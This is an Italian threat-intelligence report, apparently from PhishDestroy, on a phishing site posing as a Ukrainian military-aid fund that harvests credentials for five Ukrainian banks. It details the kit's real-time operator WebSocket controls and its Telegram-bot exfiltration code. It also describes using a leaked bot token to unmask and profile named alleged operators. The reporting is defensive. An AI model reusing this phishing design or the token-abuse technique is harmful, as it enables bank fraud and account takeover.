Smascherata una rete di phishing finalizzata al finanziamento militare: 5 banche prese di mira, identificati gli autori

Cosa ha scoperto PhishDestroy

Il 20 marzo 2026, la pipeline automatizzata di rilevamento delle minacce di PhishDestroy ha segnalato dopomogvoina[.]sbs — un dominio appena registrato che ospita un sito di phishing che si spaccia per "Lo scudo del difensore" (Shield of the Defender), una finta fondazione per gli aiuti militari all’Ucraina. Il sito si rivolge ai veterani dell’esercito ucraino, ai feriti in combattimento e alle famiglie dei soldati caduti, promettendo aiuti finanziari da parte del governo mentre sottrae le credenziali bancarie relative a cinque delle più grandi banche ucraine.

Quello che segue è un resoconto completo di tutto ciò che la nostra analisi automatizzata ha portato alla luce: le tecniche di ingegneria sociale, l’infrastruttura tecnica, il sistema di controllo in tempo reale da parte degli operatori e le identità delle persone che lo gestiscono.

Sezione 1: L'esca — La falsa fondazione per gli aiuti militari

Il dominio dopomogvoina[.]sbs è stato registrato il 20 marzo 2026 tramite NiceNIC International Group Co., Limited, un registrar con una storia ben documentata di risposte lente o inesistenti in caso di segnalazioni di abusi. Il .sbs Il TLD (Side-By-Side) è un gTLD a basso costo spesso utilizzato per creare infrastrutture di phishing usa e getta.

Il sito si presenta come un portale professionale di assistenza legato alle istituzioni governative. L'intestazione è occupata dalla bandiera ucraina, le immagini di carattere militare conferiscono un'aria di autenticità e il testo della pagina è redatto con cura in ucraino, utilizzando un linguaggio burocratico che rispecchia quello dei programmi governativi ufficiali.

Screenshot 5 — La pagina iniziale del sito di phishing che si spaccia per "Щит Захисника" (Scudo del Difensore).

Per rafforzare la propria credibilità, gli operatori hanno creato un contatore statistico ben visibile sulla pagina di destinazione:

• 2.847 domande — il che significa che migliaia di persone hanno già ricevuto aiuti
• 47,2 milioni di ₴ distribuiti — una figura imponente ma credibile all’UAH
• 19 programmi — il che suggerisce un'operazione articolata e che coinvolga più programmi

Questi numeri sono del tutto inventati, inseriti in modo fisso nel codice sorgente della pagina senza alcun collegamento al backend. Hanno un unico scopo: fungere da prova sociale per superare le esitazioni della vittima.

Sezione 2: La trappola — 5 banche, un unico obiettivo

Dopo aver cliccato su "Подати заявку" (Invia richiesta), alla vittima viene mostrata una schermata di selezione della banca. Tra le opzioni disponibili compaiono cinque delle più grandi banche al dettaglio ucraine, ciascuna con il proprio marchio e logo ufficiali. È a questo punto che l'ingegneria sociale passa dalla manipolazione emotiva al furto tecnico.

Screenshot 6 — Schermata di selezione della banca. Ogni opzione porta a una sequenza personalizzata di furto delle credenziali.

L'analisi del bundle JavaScript del sito ha rivelato che ogni banca ha un sequenza unica in più fasi per la raccolta delle credenziali, personalizzato in modo da adattarsi al flusso di autenticazione effettivo di quella banca:

La sequenza degli attacchi per ogni banca segue lo stesso schema:

Screenshot 7 — Pagina di accesso clonata di PrivatBank.

Screenshot 9 — Pagina di accesso a PUMB clonata.

Screenshot 10 — Flusso completo dell'attacco: dalla pagina fasulla dedicata agli aiuti militari, passando per la selezione della banca, fino al furto delle credenziali e all'appropriazione dell'account.

Lo stack tecnologico: React SPA front-end fornito tramite CDN di Cloudflare, con un Express.js backend che gestisce l'esfiltrazione delle credenziali. L'architettura React consente la creazione di moduli in più fasi perfettamente integrati, che risultano indistinguibili dalle interfacce bancarie legittime.

Sezione 3: Controllo in tempo reale da parte dell'operatore

Non si tratta di un semplice strumento per il furto di credenziali con un database statico. Il kit di phishing include un pannello di controllo WebSocket in tempo reale che consente a un operatore umano di gestire ogni sessione della vittima in tempo reale.

L'endpoint WebSocket all'indirizzo wss://dopomogvoina[.]sbs/ws supporta i seguenti tipi di messaggi:

register          — New victim session created
update_user_data  — Stolen credentials transmitted to operator
next_step         — Operator advances victim to next theft stage
create_application — Victim starts "aid application"
answer_question   — Operator sends custom prompt to victim

Grazie a questo controllo in tempo reale, l'operatore può:

• Imporre uno stato di attesa — visualizzare il messaggio "Elaborazione della richiesta in corso..." mentre accedono al vero conto bancario della vittima
• Reindirizza a una fase specifica — richiedere nuovamente un codice SMS se il primo è scaduto
• Visualizza messaggi di errore fittizi — "Codice non valido, reinserirlo" per ottenere più token 2FA
• Poni domande personalizzate — richiedere la data di nascita, il numero della tessera o eventuali dati aggiuntivi nel corso della sessione

Screenshot 8 — Modulo di inserimento del numero di telefono utilizzato per avviare il furto delle credenziali.

Screenshot 11 — Pannello in tempo reale dell'operatore per il controllo delle sessioni delle vittime.

L'intera gamma di dati sottratti per ogni sessione: phone, password, PIN, SMS code, card number, date of birth, e email.

Sezione 4: Dietro le quinte di Cloudflare — Due progetti, un unico server

Il proxy di Cloudflare nasconde il server di origine, ma la pipeline di analisi dell'infrastruttura di PhishDestroy ha individuato il vero indirizzo IP di origine: 45.131.214[.]148, ospitato su RapidSeedbox / LeaseWeb nei Paesi Bassi.

Un dettaglio fondamentale: dopomogvoina[.]sbs viene inoltrato tramite Cloudflare, nascondendone l'IP di origine. Ma il nostro sistema tiene traccia anche di hlpforvpeople[.]sbs — un dominio correlato registrato tramite lo stesso registrar NiceNIC con modelli corrispondenti. Tale dominio è NON dietro Cloudflare, rivelando direttamente il proprio indirizzo IP di origine: 45.131.214[.]148.

Connettersi direttamente a questo indirizzo IP — senza un Host intestazione — ha rivelato qualcosa di inaspettato: un sito di phishing completamente diverso. Al posto degli aiuti militari all'Ucraina, il vhost predefinito ha fornito "Tessera sanitaria", un'operazione di phishing legata all'assicurazione sanitaria indonesiana. Stesso server, vittime completamente diverse, paese completamente diverso.

Screenshot 12 — Due operazioni di phishing parallele che condividono lo stesso server di origine: aiuti militari ucraini (dopomogvoina) e assicurazione sanitaria indonesiana (HealthCare ID).

Il modello di phishing indonesiano è un kit noto rilevato nel database di intelligence sulle minacce di PhishDestroy. Abbiamo riscontrato varianti di questo stesso modello in uso in tutto il Sud-Est asiatico, rivolte a istituzioni finanziarie indonesiane, thailandesi e vietnamite. Gli autori dell'attacco si limitano a sostituire i modelli specifici per ciascun Paese, riutilizzando la stessa infrastruttura di backend.

Sezione 5: Il file config.json che ha svelato tutto

Ecco come un singolo file configurato in modo errato ha mandato all’aria l’intera operazione — passo dopo passo.

Dopo aver identificato il secondo progetto del server di origine, quello di PhishDestroy JS Analyzer — il nostro strumento automatizzato di analisi JavaScript — è stato indirizzato verso il pacchetto del sito di phishing indonesiano all'indirizzo https://45.131.214[.]148/assets/index-ZMQxHb_h.js. L'analizzatore ha estratto tutti gli endpoint API, gli URL esterni e i percorsi di configurazione dal file JavaScript da 335 KB. Tra i risultati emersi:

• Cinque endpoint API all'indirizzo rezervtemka[.]cc — il pannello C2 per la verifica delle credenziali
• Una connessione WebSocket a wss://rezervtemka[.]cc
• Integrazione del pixel di Facebook per il tracciamento delle vittime
• Un riferimento a /config.json — caricato in fase di esecuzione per la configurazione del bot di Telegram

Seguendo questa pista, abbiamo recuperato /config.json dall'IP di origine. Il file era accessibile senza alcuna autenticazione — si trovava nella directory principale del sito web, leggibile da chiunque:

async function loadConfig() {
  const response = await fetch('/config.json');
  // ...
}
async function sendNotification() {
  const cfg = await loadConfig();
  await fetch(`https://api.telegram.org/bot${cfg.bot_token}/sendMessage`, {
    method: 'POST',
    body: JSON.stringify({ chat_id: cfg.chat_id, text: message })
  });
}

Il /config.json il file era accessibile direttamente dall'IP di origine — nessuna autenticazione, nessun controllo degli accessi, solo un semplice file JSON presente nella directory principale del sito web:

{
  "bot_token": "8724623843:AAFXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
  "chat_id": "-100XXXXXXXXXX"
}

Il token di un bot di Telegram funge sia da nome utente che da password. Chiunque possieda il token può effettuare chiamate API a nome di quel bot. Gli operatori hanno lasciato il proprio token in un file accessibile al pubblico. Dopo sei chiamate API, avevamo tutto:

Screenshot 13 — La catena OSINT completa: dal file config.json esposto all’identificazione completa dell’operatore in 6 chiamate API.

Da un singolo file configurato in modo errato all’identificazione completa degli operatori in sei richieste HTTP. Nessun exploit, nessun accesso non autorizzato: solo chiamate standard all’API di Telegram Bot utilizzando un token che gli stessi operatori avevano lasciato esposto.

Sezione 6: Gli operatori

Screenshot 14 — Il gruppo di operatori Telegram “Idr card”, smascherato grazie al token del bot trapelato.

Proprietario / Ideatore

MONETTI ESCOBAR

@monettiescobar

ID Telegram: 8135223234

Telegram Premium, profilo aziendale

Fuso orario: UTC+3 (regione CIS)

10 messaggi pubblici — OPSEC rigorosa

Chat TraFFeeQMedusa Google AdsCanale Deepfakes

Operatore / Traffico

Bonya

@BoaCC159

ID Telegram: 6242202706

Alias: PapaZakonVor, Boa, bubullikk

261 messaggi distribuiti su 12 gruppi

DC2 — Amsterdam, Paesi Bassi

CryptoGrabMercato STYXRaven CCCHAT DI EMPIRESoluzione Phoenix

Sviluppatore / Programmatore

Devoys

@devosus

ID Telegram: 8213612730

Sviluppatore di kit di phishing — gli operatori lo chiamano “programmatore”

Quando viene rilevata una violazione, viene chiesto di “pensare alla difesa”

Impatto minimo sull’ambiente, grazie alla progettazione

Manico @devosus ≈ "dev ops us" — titolo di lavoro come nome utente

Sviluppatore di kitInfrastruttureSicurezza

MONETTI ESCOBAR — Il capo

MONETTI garantisce una rigorosa sicurezza operativa — solo 10 messaggi pubblici suddivisi in 2 gruppi. Ma sono proprio i gruppi a raccontare la storia: Chat TraFFeeQ (arbitraggio del traffico a fini fraudolenti), Medusa Google Ads (pratiche illegali su Google Ads) e un Canale Deepfakes. Nel suo profilo aziendale su Telegram è riportata la dicitura "Есть предложение" ("Ho una proposta") — che pubblicizza apertamente i propri servizi. Il fuso orario UTC+3 (corrispondente a Mosca/Minsk/Kiev) e l’orario di apertura 24 ore su 24, 7 giorni su 7 confermano che si tratta di un’attività con sede nella CSI che opera senza sosta.

Bonya — Il disinvolto

A differenza dell'attenta OPSEC di MONETTI, Bonya (precedente pseudonimo: PapaZakonVor — che si potrebbe tradurre approssimativamente con “Papà-Ladro-Per-Legge”) ha lasciato una scia digitale enorme — 261 messaggi distribuiti su 12 gruppi clandestini. La cronologia delle sue chat sembra quasi un curriculum da criminale:

Le sue affiliazioni a vari gruppi ne tracciano un quadro completo: CryptoGrab (coloro che svuotano i portafogli di criptovalute), Mercato STYX (mercato clandestino di dati rubati), Verificatore CC di Raven (strumenti di verifica delle carte di credito), CHAT DI EMPIRE e Soluzione Phoenix (coordinamento delle frodi). Non si tratta di un autore di reato occasionale, bensì di una persona profondamente radicata nell’ecosistema della criminalità informatica.

Devoys — Lo sviluppatore

La colonna portante tecnica dell’operazione. Progettata per avere un impatto minimo sul pubblico — quando il gruppo è stato violato, Bonya si è rivolto esplicitamente a lui: "@devosus, pensa alla difesa prima che ci facciano il culo" — "@devosus, pensiamo alla difesa prima che ci facciano il culo." La sua risposta sarcastica alla violazione — "quando all'Interpol" ("Quando effettuare l'interpolazione") — il che fa pensare che non sia la prima volta che se la cavano per un pelo.

Analisi comportamentale: 261 messaggi decodificati

La pipeline OSINT di PhishDestroy ha raccolto e tradotto tutti i 261 messaggi pubblici da Bonya attraverso 12 gruppi Telegram clandestini (giugno 2024 — marzo 2026). Traduzione automatica tramite l'API di DeepL con correzione manuale del contesto. I messaggi rivelano un profilo operativo completo — classificato di seguito per tipo di attività criminale.

Frodi bancarie e phishing

Corriere di denaro e prelievo di contanti

Frodi relative al traffico e abusi pubblicitari

MONETTI ESCOBAR: Il capo silenzioso

In netto contrasto con i 261 messaggi di Bonya, MONETTI ne ha solo 10 messaggi pubblici — il tutto in un unico thread su Chat TraFFeeQ (Arbitraggio del traffico ADS/SEO nero), in difesa di un collega:

I gruppi Telegram di MONETTI dicono il resto: Medusa Google Ads (frode PPC di tipo "black-hat"), un Canale Deepfakes (strumenti sintetici utilizzati a fini fraudolenti), e MARLBORO CHAT (privato, sconosciuto). L'abbonamento a Telegram Premium, orario di lavoro 24 ore su 24, 7 giorni su 7, e "Есть предложение" ("Ho una proposta") La biografia professionale del soggetto dipinge l'immagine di una persona che considera la criminalità informatica come un'attività a tempo pieno.

Screenshot 2 — Profilo Telegram di MONETTI.

Screenshot 3 — Il profilo di Bonya. Da notare DC2 (Amsterdam).

Sezione 7: La stanza del panico

Dopo che PhishDestroy ha avuto accesso al gruppo degli operatori tramite il bot di Telegram esposto, si è verificato il seguente scambio. Il log della chat riportato di seguito è stato tradotto in inglese, con il testo originale in russo riportato in corsivo. L'identità utilizzata per l'accesso è stata oscurata.

Il gruppo è stato cancellato nel giro di pochi minuti. Il messaggio di commiato di Bonya — "+" — e la conferma di Devoys con "sì" la dicono lunga: Sapevano di essere stati scoperti, e l'unica mossa che potevano fare era distruggere le prove. Ma a quel punto i dati erano già stati raccolti.

Da notare il commento rivelatore di Bonya: "Abbiamo subito un attacco anche al bot ucraino" — confermando che entrambi i progetti (quello ucraino e quello indonesiano) condividono lo stesso team operativo e che non era la prima volta che la loro infrastruttura veniva compromessa.

Sezione 8: Cosa dimostra tutto ciò

Cronologia delle indagini

Domini correlati

La nostra analisi ha individuato un secondo ambito — hlpforvpeople[.]sbs — registrati tramite lo stesso registrar con modelli di infrastruttura corrispondenti. Entrambi i domini sono presenti nel nostro database:

• Rapporto PhishDestroy: dopomogvoina[.]sbs
• Rapporto PhishDestroy: hlpforvpeople[.]sbs

Punti chiave

• L'automazione è l'unico modo per stare al passo con i tempi. I kit di phishing vengono distribuiti e resi operativi nel giro di poche ore. La verifica manuale non riesce a tenere il passo.
• Gli operatori commettono errori. Un file di configurazione lasciato accessibile in un progetto secondario ha portato alla luce un'intera operazione di phishing su scala multinazionale. È difficile garantire una sicurezza operativa (OPSEC) perfetta in ogni singolo progetto.
• L'ingegneria sociale si evolve di pari passo con l'attualità. La guerra, gli aiuti umanitari e i programmi governativi vengono sempre più spesso sfruttati come esche per il phishing, poiché prendono di mira persone in difficoltà che sono meno propense a mettere in discussione la legittimità di tali iniziative.
• Il riutilizzo delle infrastrutture è la norma. Un server, due progetti di phishing, due paesi, gli stessi operatori. Mappare le connessioni dell’infrastruttura rivela molto di più rispetto all’analisi isolata di un singolo dominio.

Dichiarazione di non responsabilità: Questa indagine è stata condotta interamente tramite ricognizione passiva e API pubbliche. Non è stato effettuato alcun accesso non autorizzato a nessun sistema. Le chiamate all’API del bot di Telegram hanno utilizzato un token reso pubblico dagli operatori in un endpoint non autenticato. Tutti i nomi di dominio citati in questo articolo sono stati resi irriconoscibili secondo la convenzione standard di sicurezza informatica.